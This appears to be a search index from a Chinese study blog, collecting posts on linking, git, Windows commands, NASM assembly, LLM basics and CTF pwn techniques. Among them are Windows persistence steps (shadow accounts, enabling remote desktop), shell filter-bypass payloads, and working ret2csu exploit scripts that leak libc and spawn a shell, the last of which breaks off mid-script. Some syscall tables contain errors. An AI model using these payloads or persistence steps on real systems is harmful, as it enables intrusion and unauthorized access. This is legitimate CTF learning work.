Binding)的,大体上它们的意思都一样,但从细节角度来区分,它们之间还是存在一定区别的,比如 “决议” 更倾向于静态链接,而 “绑定” 更倾向于动态链接,即它们所使用的范围不一样。在静态链接,我们将统一称为符号决议。\n\n最基本的静态链接过程如图所示。每个模块的源代码文件(如.c)文件经过编译器编译成目标文件(Object File,一般扩展名为 .o 或 .obj),目标文件和库(Library) 一起链接形成最终可执行文件。而最常见的库就是运行时库(Runtime Library),它是支持程序运行的基本函数的集合。库其实是一组目标文件的包,就是一些最常用的代码编译成目标文件后打包存放。关于库本书的后面还会再详细分析\n\n我们认为对于 Object 文件没有一个很合适的中文名称,把它叫做中间目标文件比较合适,简称为目标文件,所以本书后面的内容都将 Object 文件为目标文件,很多时候我们也把目标文件称为模块。\n\n现代的编译和链接过程也并并非想象中的那么复杂,它还是一个比较容易理解的概念。比如我们在程序模块 main.c 中使用另外一个模块 func.c 中的函数 foo()。我们在 main.c 模块中每一处调用 foo 的时候都必须确切知道 foo 这个函数的地址,但是由于每个模块都是单独编译的,在编译器编译 main.c 的时候它并不知道 foo 函数的地址,所以它暂时把这些调用 foo 的指令的目标地址搁置,等待最后链接的时候由链接器去将这些目标地址修正。如果没有链接器,须要我们手工把每个调用 foo 的指令进行修正,则填入正确的 foo 函数地址。当 func.c 模块被重新编译,foo 函数的地址也可能改变时,那么我们 main.c 中所有使用到 foo 的地址的指令将要全部重新调整。这些繁琐的工作将成为程序员的噩梦。使用链接器,你可以直接引用其他模块的函数和全局变量而无须知道它们的地址,因为链接器在连接的时候,会根据你所引用的符号 foo,自动去相应的 func.c 模块查找 foo 的地址,然后将 main.c 模块中所有引用到 foo 的指令重新修正,让它们的目标地址为真正的 foo 函数的地址。这就是静态连接的最基本的过程和作用。\n在链接过程中,对其他定义在目标文件中的函数调用的指令须要被重新调整,对使用其他定义在其他目标文件的变量来说,也存在同样的问题。 让我们结合具体的 CPU 指令来了解这个过程。假设我们有个全局变量叫做 var,它在目标文件 A 里面。我们在目标文件 B 里面要访问这个全局变量,比如我们在目标文件 B 里面有怎么一条指令:\t\nmovl $0x2a, var\n\n这条指令就是给这 var 变量赋值 0x2a,相当于 C 语言里面的语句 var=42。然后我们编译目标文件 B,得到这条指令机器码,如图。\t\n\n由于在编译目标文件 B 的时候,编译器并不知道变量 var 的目标地址,所以编译器在没法确定地址的情况下,将这条 mov 指令的目标地址置为0,等待链接器在将目标文件 A 和 B 链接起来的时候再将其修正。我们假设 A 和 B 链接后,变量 var 的地址确定下来 0x1000,那么链接器将会把这个指令的目标地址部分修改成 0x10000。这个地址的修正的过程也被叫做重定位(Relocation),每个要被修正的地方叫一个重定位入口(Relocation Entry)。重定位所做的就是给程序中每个这样的绝对地址引用的位置 “打补丁”,使它们指向正确的地址。\n","categories":["链接、装载和库"],"tags":["读书笔记"]},{"title":"git","url":"/2024/10/25/sundry/git/","content":"本地操作创建项目\ngit init\n\n克隆项目\ngit clone 网址\n\n跟踪文件或目录\ngit add <name>\n\n取消跟踪\ngit rm <name>\n\n保留目录但是不被跟踪\ngit rm --cache <name>\n\n取消缓存状态\ngit reset HEAD <name>\n\n提交\ngit commitgit commit -m ""\n\n取消提交,只能取消第一次之外的提交\ngit reset head~ --soft\n\n查看文件状态\ngit status\n\n查看文件哪里被修改\ngit diff\n\n查看提交历史\ngit log美化输出git log --prettygit log --pretty=format:"%h-%an,%ar:%s"%h 简化哈希%an 作者名字%ar 修订日期(距今)%ad 修订日期%s 提交说明图形化呈现git log --graph\n\n远程操作链接远程仓库\ngit remote add bat https://github.com/tingfengdaojun/bat.git查看远程链接仓库git remote修改远程仓库名字git rename\n\n推送代码到远程仓库\ngit push 仓库名 分支名//强制推送,覆盖远程仓库git push 仓库名 分支名 --force\n\n分支查看分支\n查看当前分支git loggit status查看所有分支git branch --list\n\n创建分支\ngit branch 分支名\n\n切换分支\ngit checkout 分支名\n\n合并分支\n合并到当前分支git merge 分支名\n\n储藏当前的文件\ngit stash\n恢复文件\ngit stash apply\n\n","categories":["其它"]},{"title":"cmd和powershell常用命令","url":"/2024/10/24/sundry/powershell-cmd/","content":"因为上课的原因有所学习,现整理一下常用的powershell和cmd命令。\n以下命令若非特意说明,就是powershell和cmd的通用命令。\n常用命令\n最常用的清屏\n\ncls\n\n\n查看当前用户\n\nwhoami\n\nwindows下的grep\n\nfindstr\n\n\n起别名(powershell独有)\n\nset-alias aaa get-command\n\n\n关机和重启\n\n-- 默认一分钟关机shutdown -s-- 重启shutdown /r\n\n\n定时关机\n\nshutdown -s -t 秒数\n\n\n网络管理\n查看网络适配器的详细信息\n\n- 查看网卡信息ipconfig- 查看详细信息ipconfig /all\n\n\n测试网络连通性\n\n- 测试ipping ip- 测试域名ping www.baidu.com\n\n\n设置ip地址\n\n-- cmdnetsh interface ip set address "Local Area Connection" static 192.168.1.100 255.255.255.0 192.168.1.1-- powershellNew-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.1.100 -PrefixLength 24 -DefaultGateway 192.168.1.1\n\n用户和组管理\n查看用户\n\nnet user\n\n\n创建用户\n\nnet user 用户名 密码 /add\n\n\n删除用户\n\nnet user 用户名 /del\n\n\n切换用户\n\nrunas /user:用户名 cmd\n\n\n查看用户组\n\nnet localgroup\n\n\n创建用户组\n\nnet localgroup 组名 /add\n\n\n删除用户组\n\nnet localgroup 组名 /del\n\n\n添加用户到用户组\n\nnet localgroup 组名 用户名 /add\n\n\n从用户组删除用户\n\nnet localgroup 组名 用户名 /del\n\n文件管理\n显示当前路径\n\n-- cmdcd-- powershellpwd\n\n\n查看当前目录\n\n-- cmddir-- powershellls\n\n\n切换目录\n\ncd 路径\n\n\n创建目录\n\nmkdir 目录名\n\n\n删除目录\nrd 目录名\n\n创建文件\n\n\ntype nul > demo.txt\n\n\n查看文件内容\ntype 文件名\n\n复制文件\n\n\ncopy 路径\\文件名 路径\\文件名\n\n\n移动文件(也可移动目录)\n\nmove 路径\\文件名 路径\\文件名\n\n\n删除文件\n\ndel 文件名\n\n\n进程管理\n查看正在运行的进程\ntasklist\n\n结束特定进程\ntaskkill /im 进程名 taskkill /im 进程id /f\n\n查看进程详细信息\ntasklist /v\n\n安全常用信息搜集\n查看当前权限详细信息\nwhoami /all\n\n查看系统信息\nsysteminfo\n\n查看已安装的软件\nwmic product get name, version\n\n查看是否有杀软\nwmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName,productState\n\n创建影子账户在Windows中,影子账户通常指的是不在登录界面上显示的用户账户。\n创建影子账户的步骤:\n\n创建账户\nnet user 用户名 密码 /add\n\n将用户账户设为隐藏\nnet user 用户名 /active:no\n\n远程连接\n开启远程连接\nreg add "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f\n\n允许防火墙通过远程桌面服务\nnetsh advfirewall firewall set rule group="remote desktop" new enable=Yes\n\n重启远程桌面服务\nnet stop termservicenet start termservice\n\n关闭远程桌面\nreg add "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f\n\n脚本在Windows中,创建一个后缀名为bat的文件,并且写入想要执行的cmd命令即可通过文件批量的执行cmd命令。\n这个文件叫作批处理文件,也就是cmd的命令脚本。\n同理powershell的脚本文件也是写入的powershell命令的文件,而powershell脚本的文件后缀为ps1,并且还需要将powershell的执行策略设置为脚本可执行。\n设置脚本可执行策略\nSet-ExecutionPolicy RemoteSigned\n\n","categories":["其它"]},{"title":"Linux汇编","url":"/2024/10/24/program/linux-nasm/","content":"前言为了加深对于汇编的掌握于是好好学习了一下NASM汇编。\n以下完全就是个人的学习笔记。\nNASM 汇编基本语法基本结构段定义:NASM 程序分为不同的的段(section),如.data、.bss、.text。每个段用于不同的数据类型或代码。\nsection .data ;数据段\tmag db 'hello world!',0Ah\tsection .bss ;未初始化数据段\tbuffer resb 64\tsection .text ;代码段\tglobal _start\t_start\t;程序代码\n\n注释上述代码中以;号开始的文本就是 NASM 的单行注释。\n单行注释\n;这是一个单行注释\n\n多行注释\n/*这是一个多行注释*/\n\n指令格式操作码:指定执行的操作,例如mov、add、sub。操作数:指令的参数,可以是寄存器、内存位置或立即数。\nmov eax,5add ebx,eax\n\n数据定义db:定义一个字节的数据\nvalue db 0x1f\ndw:定义一个字的数据。\nvalue dw 0x1234\ndd:定义一个双字的数据。\nvalue dd 0x12345678\ndq:定义一个四字的数据。\nvalue dq 0x123456789abcdef0\nresb:保留一定数量的字节。\nbuffer resb 64\nresw:保留一定数量的字。\nbuffer resw 32\nresd:保留一定数量的双字。\nbuffer resd 16\n\n常用指令数据传输\nmov eax,10mov [buffer],eax\n算术运算\nadd eax,1sub ebx,2mul ecximul ecx\n逻辑运算\nand eax,0x0for ebx,0xf0xor ecx,edxnot eax\n控制流\njmp labe1je labe1jne labe1jl labe1jg labe1call functionret\n\n循环控制loop:基于ecx寄存器的循环,ecx的值减 1,当ecx不为0 时跳转。\nmov ecx,10loop_start:\tloop loop_start\n\n宏和条件编译NASM 支持宏,用于简化重复的代码。\n%macro add_5 1\tadd %1,5%endmacrosection .textglobal _start_start:\tadd_5,eax\t;等效于\t;add eax,5\n条件编译:根据条件编译不同的代码块\n%ifdef DEBUG\t;Debugging code%endif\n\n伪指令\nglobal:声明全局符号,其它文件可以引用。\nextern:声明外部符号,来自其他文件。\nequ:定义变量。\n\n汇编与链接汇编:将汇编代码编译成目标文件。\n;汇编 32 位代码nasm -f elf32 demo.asm -o demo.o;汇编 64 位代码nasm -f elf64 demo.asm -o demo.o\n\n链接:将目标文件链接成可执行文件。\n;链接器默认链接 64 位程序ld ./demo.o;链接 32 位程序ld -m elf_i386 demo.o\n\n系统调用在 Linux 下开发程序必须了解 Linux 下的系统调用。\n32位\neax用于存储系统调用号。系统调用的参数通过ebx、ecx、edx、esi、edi、ebp寄存器传递。\n以下是 32 位 Linux 系统中常用的系统调用表。系统调用号可以在 /usr/include/asm/unistd_32.h 文件中找到。\n\n\n\n系统调用\n调用号\n描述\n\n\n\nexit\n1\n退出\n\n\nopen\n5\n打开文件\n\n\nread\n3\n读取文件\n\n\nwrite\n4\n写入文件\n\n\nclose\n6\n关闭文件\n\n\nlseek\n19\n移动文件指针\n\n\nexit\n1\n退出进程\n\n\nfork\n2\n创建子进程\n\n\nexecve\n11\n执行程序\n\n\nwaitpid\n7\n等待子进程结束\n\n\nbrk\n12\n改变数据段的末尾\n\n\nmmap\n9\n映射文件或设备到内存\n\n\nioctl\n16\n控制设备\n\n\nsocket\n359\n创建套接字\n\n\nbind\n361\n绑定套接字到地址\n\n\nlisten\n50\n监听套接字\n\n\naccept\n43\n接受连接\n\n\nconnect\n42\n连接到套接字\n\n\nmount\n165\n挂载文件系统\n\n\nunmount\n166\n卸载文件系统\n\n\n64位\nrax用于存储系统调用号。系统调用的参数通过rdi、rsi、rdx、rcx、r8、r9寄存器传递。\n\n\n\n系统调用\n调用号\n描述\n\n\n\nopen\n2\n打开文件\n\n\nread\n0\n读取文件\n\n\nwrite\n1\n写入文件\n\n\nclose\n3\n关闭文件\n\n\nlseek\n8\n移动文件指针\n\n\nexit\n60\n退出进程\n\n\nfork\n57\n创建子进程\n\n\nexecve\n59\n执行程序\n\n\nwaitpid\n7\n等待子进程结束\n\n\nbrk\n12\n改变数据段的末尾\n\n\nmmap\n9\n映射文件或设备到内存\n\n\nioctl\n16\n控制设备\n\n\nsocket\n41\n创建套接字\n\n\nbind\n49\n绑定套接字到地址\n\n\nlisten\n50\n监听套接字\n\n\naccept\n43\n接受连接\n\n\nconnect\n42\n连接到套接字\n\n\nmount\n165\n挂载文件系统\n\n\nunmount\n166\n卸载文件系统\n\n\n内存模型与寻址模式I/O操作:包括标准输入/输出、磁盘读写等基本操作的汇编实现。宏定义、模块化编程在 NASM 汇编语言中,模块化编程是指将程序分解成多个模块,以便更好地组织和管理代码。模块化编程的主要优点包括代码重用、简化复杂性以及提高维护性。以下是关于 NASM 模块化编程的详细说明:\n模块化编程的基本概念\n模块化编程涉及将程序分成多个逻辑模块或单元,每个模块实现特定的功能。每个模块可以独立开发、测试和调试。模块间通过接口进行交互,模块的实现对其他模块是透明的。\n使用 NASM 实现模块化\n在 NASM 中,模块化编程通常涉及以下几个步骤:\n 创建模块\n每个模块通常包含数据部分和代码部分。模块可以被放在不同的文件中,并在主程序中引用。\n**模块示例 (module.asm)**:\nsection .datamsg db "Hello from module!", 0Ahsection .textglobal print_messageprint_message: ; 使用 sys_write 打印消息 mov rax, 1 ; sys_write mov rdi, 1 ; 文件描述符: stdout mov rsi, msg ; 消息地址 mov rdx, 17 ; 消息长度 syscall ret\n\n 主程序文件\n主程序文件引用其他模块,并调用模块中定义的函数。\n**主程序示例 (main.asm)**:\nsection .textextern print_message ; 声明外部函数global _start_start: call print_message ; 调用模块中的函数 ; 退出程序 mov rax, 60 ; sys_exit xor rdi, rdi ; 退出码: 0 syscall\n\n 编译和链接\n将各个模块编译成目标文件,并链接成最终的可执行文件。\n编译和链接命令:\nnasm -f elf64 module.asm -o module.onasm -f elf64 main.asm -o main.old module.o main.o -o program\n宏定义在 NASM(Netwide Assembler)中,宏(Macro)是一种强大的功能,可以简化汇编代码的编写和维护。宏允许你定义代码块,并在需要时插入到源代码中。它们类似于其他编程语言中的函数或宏,但主要用于生成汇编代码。以下是 NASM 宏定义的详细解释。\n宏的基本概念\n宏是由一段代码组成的模板,你可以在源代码的多个位置插入这段模板,并用实际参数替换宏中的占位符。宏定义的主要目的是代码重用和简化复杂的汇编程序。\n宏的定义\n在 NASM 中,宏通过 %macro 指令定义。宏定义包括宏名称、参数和宏体。使用宏时,NASM 会用实际参数替换宏体中的占位符。\n 宏定义的语法\n%macro macro_name num_params ; 宏体%endmacro\n\n\nmacro_name 是宏的名称。\nnum_params 是宏的参数数量。\n\n 宏体\n宏体是实际要插入到代码中的内容,可以包含宏参数。宏参数用 %%1, %%2 等表示(对于第一个、第二个参数)。\n宏的使用\n宏在定义之后可以在代码中调用,每次调用都会插入宏体并用实际参数替换占位符。\n 宏调用的语法\nmacro_name arg1, arg2, ...\n\n宏的示例\n 简单宏\n定义一个简单的宏来生成打印字符串的代码:\n%macro PRINT_STR 2 mov rax, 1 ; sys_write mov rdi, 1 ; 文件描述符: stdout mov rsi, %1 ; 消息地址 mov rdx, %2 ; 消息长度 syscall%endmacro\n\n使用宏:\nsection .datamsg db "Hello, World!", 0x0Amsg_len equ $ - msgsection .textglobal _start_start: PRINT_STR msg, msg_len ; 退出程序 mov rax, 60 ; sys_exit xor rdi, rdi ; 退出码: 0 syscall\n\n 带默认值的宏\n定义一个宏,使用默认参数:\n%macro PRINT 1 mov rax, 1 mov rdi, 1 mov rsi, %1 mov rdx, $ - %1 syscall%endmacro\n\n使用宏:\nsection .datamsg db "Hello, World!", 0x0Asection .textglobal _start_start: PRINT msg ; 退出程序 mov rax, 60 xor rdi, rdi syscall\n\n宏参数\n宏可以有多个参数,你可以用参数来生成不同的代码块:\n%macro MOV_REG 2 mov %1, %2%endmacro\n\n使用宏:\nsection .textglobal _start_start: MOV_REG rax, 5 ; mov rax, 5 MOV_REG rbx, rax ; mov rbx, rax ; 退出程序 mov rax, 60 xor rdi, rdi syscall\n\n条件宏\n你可以使用条件编译来定义条件性的宏代码:\n%macro DEBUG 1%if %1 ; 只有在参数为真时编译这段代码 mov rax, 1 mov rdi, 1 mov rsi, msg mov rdx, msg_len syscall%endif%endmacro\n\n使用条件宏:\nsection .datamsg db "Debug Mode", 0x0Amsg_len equ $ - msgsection .textglobal _start_start: DEBUG 1 ; 激活调试模式 ; 退出程序 mov rax, 60 xor rdi, rdi syscall\n\n\n调试困难:宏的展开可能导致调试困难,因为宏体在编译时被插入到代码中,可能不容易追踪。\n代码膨胀:过度使用宏可能导致代码膨胀,因为每个宏调用都会展开成实际的代码。\n\n程序开发第一个程序\nHello world!\n\n接下来我们通过永不过期的经典程序来了解如何初步开发汇编程序。\n32位\n;定义数据段,用于存放程序中的静态数据。section .datamsg db "hello world",0Ah;定义代码段,用于存放程序的指令section .textglobal _start;程序的入口点_start: mov edx,13 mov ecx,msg mov ebx,1 mov eax,4 int 80h mov ebx,0 mov eax,1 int 80h\n\n64位\nsection .datamsg db "hello world",0Ahsection .textglobal _start_start: mov rdi,1 mov rsi,msg mov rdx,13 mov rax,1 syscall mov rdi,0 mov rax,60 syscall\n\n计算字符串长度\n\n\n计算器\n\n子程序\n\n外部包含文件外部包含文件允许我们从程序中移动代码并将其放入单独的文件中。这种技术对于编写干净、易于维护的程序很有用。可重用的代码位可以编写为子程序,并存储在称为库的单独文件中。当您需要一段逻辑时,您可以将该文件包含在您的程序中,并像使用它们属于同一文件一样使用它。\nNULL 终止字节\n在编程中,0h 表示一个空字节,字符串后面的空字节告诉程序集它在内存中结束的位置。\n\n%include "functions.asm"section .datamsg1 db "hello world!",0Ah,0hmsg2 db "This is how we recycle in NASM",0Ah,0hsection .textglobal _start_start: mov eax,msg1 call sprint mov eax,msg2 call sprint call quit\n\n\n换行符\n\n传递参数\n\n用户输入\n\n数到 10名称空间\n\n嘶嘶声执行命令\n\n处理分叉报时文件处理\n\n套接字\n\n下载网页\n\n后言\n参考链接:NASM 汇编语言教程 参考书籍:《x86汇编语言:从实模式到保护模式》\n\n","categories":["编程"],"tags":["汇编"]},{"title":"SROP","url":"/2024/10/24/pwn/SROP/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"大模型原理","url":"/2024/11/04/llm/llm-principle/","content":"\n一句话描述大模型的原理:不断优化的做词语接龙!\n\nAIGCAIGC(AI Generated Content)即AI生成的内容。\nGenerative AI(生成式AI),生成式AI所生成的内容就是AIGC\nAI是属于计算机科学的一个学科,早在1956年AI就被确立为了一个学科领域。\n机器学习(Machine Learning)是AI的一个子集,它的核心在与不需要人类做显示编程,而是让计算机通过算法自行学习和改进。去识别模式做出预测和决策。\n机器学习可以分为三大类:\n\n监督学习:利用带标签的训练数据,算法学习输入与输出之间的映射关系,以便在新输入特征下准确预测输出值,包括分类(将数据划分为不同类别)和回归(预测数值)。\n\n无监督学习:算法处理没有标签的数据,旨在自主发现数据中的模式或规律,主要方法包括聚类(将数据分组)。\n\n强化学习:模型在特定环境中采取行动并获得反馈,从中学习以便在类似情况下采取最佳行动,以最大化奖励或最小化损失。\n\n\n深度学习并不属于上述三大类中的任何一类,深度学习是机器学习的一种方法,主要通过层次化的神经网络结构模仿人脑的信息处理方式,从而有效提取和表示数据特征。它并不局限于传统的监督、无监督或强化学习,而是能够在多种任务中实现自我学习和特征表示。\n神经网络可以应用于监督学习、无监督学习和强化学习,因此深度学习并不局限于这些分类之中。\n生成式AI是深度学习的一种应用,通过神经网络识别现有内容的模式和结构,从而生成新的内容。\n大型语言模型(LLM,Large Language Model)也是深度学习的一个应用,专注于自然语言处理任务。\n原理大型语言模型(LLM,Large Language Model)是一种深度学习模型,专用于处理自然语言任务,如文本生成、分类、摘要和改写等。它通过接收大量文本内容进行无监督学习,以提取和理解语言中的模式。例如,GPT-3就是一个典型的LLM。\n2017年,谷歌团队发布的论文《Attention is All You Need》提出了Transformer架构,这一创新改变了自然语言处理的发展方向。在此之前,主流语言模型使用循环神经网络(RNN),其按顺序处理输入数据,当前步骤的输出依赖于先前的隐藏状态和当前输入。这种设计限制了并行计算的能力,降低了训练效率,并且RNN在处理长文本时表现不佳。由于RNN的结构特性,距离较远的词之间的关联性在传递过程中逐渐减弱,使其难以捕获长距离的语义关系。\n为了解决长期依赖性问题,长短期记忆网络(LSTM)作为RNN的改进版本出现,但其仍未能彻底克服RNN的并行计算限制,并在处理极长序列时仍存在困难。\nTransformer采用自注意力机制,使得模型在处理某个词时,能够同时关注输入序列中的所有词,并为每个词分配不同的注意力权重。通过在训练过程中学习这些权重,Transformer能够有效识别当前词与其他词之间的相关性,从而聚焦于输入序列中的关键部分。\n此外,Transformer在对词进行嵌入并转换成向量之前,还会为每个词添加位置编码,以表示其在句子中的位置信息。这样,神经网络不仅能够理解每个词的意义,还能够捕捉词在句子中的顺序关系。\n借助位置编码,Transformer能够接受无序的输入,模型可以同时处理输入序列中的所有位置,从而大幅提升了计算效率。这一设计使得Transformer在自然语言处理任务中表现出色,成为了当前的主流模型架构。\n大模型是通过预测出现概率最高的下一个词来实现文本生成的。\nTransformer架构可以看成由编码器和解码器组成。\n\n输入的文本首先会被拆分成各个token(文本的基本单位),然后每个token会被用一个整数数字(token ID)表示。然后将其传入嵌入层,嵌入层的作用是让每个token都用向量表示。\n然后对token向量进行位置编码,位置编码就是将表示各个词在文本里顺序的向量和词向量相加。\n\n训练大模型的过程\n无监督预训练 通过大量的文本进行无监督学习预训练,得到一个能进行文本生成的基座模型。\n监督微调 通过一些人类撰写的高质量对话数据对基座模型进行微调,得到一个微调后的模型。此时的模型除了续写文本之外也会具备更好的对话能力。 即监督学习,是在无监督学习的基础上进行监督微调。 为什么不直接进行监督预训练:因为进行监督预训练的成本太高,所需要消耗的人力成本太大。\n训练奖励模型+强化学习训练 用问题和多个对应回答的数据,让人类标注员对回答进行质量排序。然后基于这些数据训练出一个能对回答进行评分预测的奖励模型。 接下来让第二步得到的模型对文件生成回答,用奖励模型给回答进行评分。利用评分作为反馈进行强化学习。 奖励模型训练即通过一个奖励参数让模型分辨每次反馈的不同,从而进行更高质量的反馈。\n\n提示工程提示工程(Prompt Engineering)就是研究如何提高和AI的沟通质量及效率的,核心关注提示的开发和优化。\n零样本提示直接丢东西给AI,没有进行任何示范。\n小样本提示在让AI回答前,通过给AI几个实例,通过一些样本对AI进行引导。\n大模型就会利用上下文学习能力,学习这些样本的内容。\n然后据此回答用户的提问。\n思维链运用思维链的方法:在给AI的小样本提示里不仅包含正确的结果,也展示中间的推理步骤。AI在生成回答时也会模仿着去生成一些中间步骤,把过程进行分解。\n借助思维链,AI可以在每一步里把注意力集中在当前思考步骤上,减少上下文的过多干扰,因此对于复杂的任务,可以更大概率的得到正确的结果。\n分步骤思考即使我们不通过小样本提示,只是在问题后面添加一句请你分步骤思考,也可以更大概率的得到正确的结果。\n武装AI为了应当大模型的一些短板,可以借助一些外部工具或数据把IA武装起来。\n实现这一思路的框架:\n\nRAG(检索增强生成)\nPAL(程序辅助语言模型)\nReAct(推理行动结合)\n\n对于大模型的思考大型语言模型(LLM)可以在某种程度上辅助发明和创造,比如通过生成新想法、提出创新的解决方案或者优化现有的设计。然而,它们本质上是基于已有数据和模式进行推理和生成的,真正的发明通常需要人类的创造性思维、情感和经验。大模型可以作为工具,帮助人类在发明过程中更高效地探索和实验。\n\n在所有已知选项中选择最优选项,但是不能发现完全未发现的选项。即无法发明和创造。\n\n","categories":["LLM"]},{"title":"BROP","url":"/2024/10/24/pwn/brop/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"整数溢出","url":"/2024/10/24/pwn/integer_overflow/","content":"","categories":["pwn"],"tags":["整数溢出"]},{"title":"nc绕过","url":"/2024/10/25/pwn/nc-bypass/","content":"cat $flag\n“”切割cat$ IFS $代表空格f*,所有开头文件\nca ""t$IFS$f*\n\n检测输入的命令中是否有“cat”、“flag”、“sh”、“$0”,如果包含就报错。\ntac fla*>&2\n\n当程序关闭输入流时,可以把输出流重定向到其它地方输出,比如重定向到输入流或者错误输出流都可\n\ntac:反向显示文件内容。tac 读取文件的内容,并以相反的顺序输出每一行。\nfla*:可能是匹配多个文件名的模式,所有匹配 fla* 的文件都会被 tac 处理。\n>&2:将标准输出(stdout)重定向到标准错误(stderr)。\n\n结合在一起,这个命令的意思是:将所有匹配 fla* 的文件内容反向显示,然后将输出内容重定向到标准错误输出。\n通过将文件内容读取到一个变量,然后输出这个变量的内容间接输出文件内容。\nread -r line < flag && echo "$line"\n","categories":["pwn"]},{"title":"ret2dlresolve","url":"/2024/10/24/pwn/ret2dlresolve/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"ret2csu","url":"/2024/10/24/pwn/ret2csu/","content":"原理严格来说,ret2csu 是一种特定的漏洞利用手法,主要存在于 64 位程序中。区别于 32 位程序通过栈传递参数,64 位程序的前六个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9)。这导致在某些情况下,我们无法找到足够多的 gadgets 来逐个控制每个寄存器。\n这时,我们可以利用程序中的 __libc_csu_init (高版本的gcc编译后已经没有了)函数,该函数主要用于初始化 libc,几乎在所有的程序中都会存在。该函数内含一段万能的 gadgets,可以控制多个寄存器(例如 rbx, rbp, r12, r13, r14, r15 以及 rdi, rsi, rdx)的值,并最终 调用指定地址。因此,当我们劫持程序控制流时,可以跳转到 __libc_csu_init 函数,通过这段万能 gadgets 控制程序的行为。\n我们将下面的 gadget 称为 gadget1 优先调用,上面的称为 gadget2 之后调用。\n//gadget2 400710: 4c 89 fa mov rdx, r15 400713: 4c 89 f6 mov rsi, r14 400716: 44 89 ef mov edi, r13d 400719: 41 ff 14 dc call qword ptr [r12 + 8*rbx] 40071d: 48 83 c3 01 add rbx, 0x1 400721: 48 39 dd cmp rbp, rbx 400724: 75 ea jne 0x400710 <__libc_csu_init+0x40>//gadget1 400726: 48 83 c4 08 add rsp, 0x8 40072a: 5b pop rbx 40072b: 5d pop rbp 40072c: 41 5c pop r12 40072e: 41 5d pop r13 400730: 41 5e pop r14 400732: 41 5f pop r15 400734: c3 ret\n\n这样的话\nr13=rdx=arg3r14=rsi=arg2r15=edi=arg1rbx=0r12=call address\n\ncsu模板\ndef csu(addr,edi,rsi,rdx,last):\t#用于溢出的padding\tpayload=off*b'a'\t#gadget1\tpayload+=p64(gadget1)\t#rbx=0,rbp=1\tpayload+=p64(0)+p64(1)\t#设置r12寄存器地址,即call调用的地址\tpayload+=p64(addr)\t#参数3、参数2、参数1\t#r13、r14、r15\tpayload+=p64(rdx)+p64(rsi)+p64(edi)\t#gadget2\tpayload+=p64(gadget2)\t#pop出的padding\tpayload+=b'a'*56\t#函数最后的返回地址 \tpayload+=p64(last)\treturn payload\n\n对csu模板的使用要分清情况\n末尾的padding('a'*56)是我们在没有进行jne跳转,程序向下执行到add rsp,0x8的时候这些需要进行栈平衡的数据。\n如果我们只需要调用一个函数就不需要添加后面的padding和last,如果我们还需要调用一个地址就需要添加。\n例题[NewStarCTF 公开赛赛道]ret2csu1#ret2syscall \n\n查保护\n\n拿到程序,先查保护。\n发现开启了NX保护和Partial RELRO保护。\n\n\nida分析\n\n\n输出两串字符串,并向栈中写入0x70长度的数据。\n根据栈宽度比较,判断存在栈溢出。\ngdb测一下,判断溢出填充长度为40。\n\n字符串列表,发现/bin/cat和/flag关键字符串,但并没有发现system函数\n\n函数窗口发现关键函数ohMyBackdoor,判断可能为后门函数。\n\n发现关键汇编指令syscall,以及设置rax值为0x3b的mov rax,0x3b指令。\n\n\n利用思路\n\n根据题目名称中的ret2csu判断为ret2csu打法,并且判断是通过ret2csu打syscall。\n我们需要通过执行libc_csu_init函数来设置寄存器值,并不需要函数执行完毕,所以我们不需要从add rsp,8开始执行。\n通过libc_csu_init函数设置寄存器值,并且触发中断。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=40gadget1=0x40072agadget2=0x400710syscall=0x601068cat=0x4007bbflag=0x601050payload=b'a'*offpayload+=p64(gadget1)+p64(0)+p64(0)+p64(syscall)+p64(cat)+p64(flag)+p64(0)payload+=p64(gadget2)sa("it!\\n",payload)ia()\n\n[HNCTF 2022 WEEK2]ret2csu#ret2libc \n\n查保护\n\n没有栈溢出和PIE保护。\n\n分析程序\n\n发现vuln函数,进入查看\nread函数向buf输入0x200个字节的数据,而buf为256字节,判断存在栈溢出。\n\n\n利用思路\n\n\n利用csu通过write函数泄露write的真实地址->泄露libc->获得system的真实地址\n调用system\n\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()set_remote_libc('libc.so.6')io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc.so.6")gadget1=0x4012aagadget2=0x401290off=264write=elf.got.writepop_rdi=0x00000000004012b3ret=0x000000000040101adef csu(rdi, rsi, rdx,r15, rbx=0, rbp=1,last=elf.sym.vuln): payload = p64(gadget1) payload += p64(rbx) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(r15) payload += p64(gadget2) payload += b'a'*56 payload += p64(last) return payloadr()payload=b'a'*off+csu(rdi=1,rsi=write,rdx=0x20,r15=write)sl(payload)ru(b'Ok.\\n')addr=u64(r(6).ljust(8,b'\\x00'))print("write:",hex(addr))base=addr-libc.sym.writesys=libc.sym.system+basesh=next(libc.search(b'/bin/sh\\x00'))+basepayload=b'a'*off+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys)sla("Input:\\n",payload)ia()\n\n\n\n\n[NewStarCTF 公开赛赛道]ret2csu2#ret2shellcode \n\n查保护\n\n发现没有栈溢出和PIE保护。\n\n\n分析\n\n两次输出,一次输入。输入长度超过缓冲区大小,判断存在栈溢出。\n\n函数窗口发现关键函数\n\n进入查看,发现mprotect。\n\n格式化字符串窗口每发现什么有用的东西。\n\n\n利用思路\n\n根据题目名称,是要我们打csu,而且存在mprotect函数,所以到这里思路已经很明显了。\n通过read函数读取rop链到bss段,之后将栈迁移到bss段执行rop链。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()# bss = 0x601020first_ebp=0x601020 + 0xf0# lea rsi, [rbp - 0xf0] first_ret=0x4006E7#通过上述lea指令设置rsi值为bss段地址,并且再次执行read函数将rop链写入bss段payload = b"a"*(0xf0) + p64(first_ebp) + p64(first_ret)ru("Remember to check it!")s(payload)mprotect_got=elf.got.mprotectleave_ret=0x400681gadget1=0x40075Agadget2=0x400740#通过csu修改bss段内存权限为可读可写可执行payload2=p64(gadget1)+p64(0)+p64(1)+ 